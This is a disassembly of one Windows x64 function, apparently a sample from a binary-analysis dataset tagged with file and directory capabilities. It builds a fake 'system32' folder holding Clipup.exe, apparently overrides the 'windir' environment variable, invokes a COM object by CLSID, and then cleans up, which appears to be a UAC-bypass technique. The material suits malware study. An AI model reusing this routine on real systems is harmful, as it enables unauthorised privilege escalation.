Function at 0x14001650f
Capabilities:
Create directory
Delete directory
Delete file

Disassembly:
jmp 0x14002fb00
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x268]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14007f4db]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xf8], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x44], eax
lea rcx, [rbp + 0x138]
call qword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
je 0x14002fbaa
jmp 0x14002fda7
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x138]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
je 0x14002fbc7
jmp 0x14002fda7
mov rcx, qword [rbp + 0xb8]
call fcn.1400162a3
lea rax, [rax + rax + 0x412]
mov qword [rbp + 0x118], rax
mov rcx, qword [rbp + 0x118]
call fcn.140016695
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x14002fc04
jmp 0x14002fda7
mov r9d, 1
lea r8, str.MpScanStart
mov edx, dword [rbp + 0x248]
mov rcx, qword [rbp + 0x240]
call fcn.1400166bd
test eax, eax
jne 0x14002fc2c
jmp 0x14002fda7
mov rax, qword [0x140075c58]
add rax, 0x47c
mov rdx, rax
mov rcx, qword [rbp + 0xd8]
call fcn.1400161f9
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
mov qword [rbp + 0xf8], rax
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14002fc87
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14002fc87
jmp 0x14002fda7
mov r9, qword [rbp + 0xd8]
lea r8, str.windir
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14002fcac
jmp 0x14002fda7
lea rdx, str._system32_
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
xor edx, edx
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14002fce4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14002fce4
jmp 0x14002fda7
lea rdx, str.Clipup.exe
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
mov r8d, dword [rbp + 0x248]
mov rdx, qword [rbp + 0x240]
mov rcx, qword [rbp + 0xd8]
call fcn.14001612c
test eax, eax
je 0x14002fd9d
lea r9, [rbp + 0x68]
mov r8d, 4
lea rdx, [0x140045198]
lea rcx, str.17CCA47D_DAE5_4E4A_AC42_CC54E28F334A
call fcn.140016965
test eax, eax
jge 0x14002fd3c
jmp 0x14002fda7
cmp qword [rbp + 0x68], 0
jne 0x14002fd45
jmp 0x14002fda7
mov eax, 4
imul rax, rax, 0
mov dword [rbp + rax + 0x88], 0x66
mov eax, 4
imul rax, rax, 1
mov dword [rbp + rax + 0x88], 0x66
mov eax, 4
imul rax, rax, 2
mov dword [rbp + rax + 0x88], 0
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
lea r8, [rbp + 0x88]
lea rdx, str.pe386
mov rcx, qword [rbp + 0x68]
call qword [rax + 0x40]
xor eax, eax
test eax, eax
jne 0x14002fb94
cmp qword [rbp + 0x68], 0
je 0x14002fdbc
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x68]
call qword [rax + InitCommonControls]
cmp dword [rbp + 0x24], 0
je 0x14002fdd8
xor r9d, r9d
lea r8, str.windir
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
call fcn.1400166c7
cmp qword [rbp + 0xd8], 0
je 0x14002fe5c
cmp qword [rbp + 0xf8], 0
je 0x14002fe5c
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
mov rcx, qword [rbp + 0xf8]
mov word [rcx], ax
lea rdx, str._system32_
mov rcx, qword [rbp + 0xd8]
call fcn.140016af0
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov rcx, qword [rbp + 0xf8]
mov word [rcx], ax
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov rcx, qword [rbp + 0xd8]
call fcn.140016c1c
cmp dword [rbp + 0x44], 0
jne 0x14002fe68
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400599b0]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret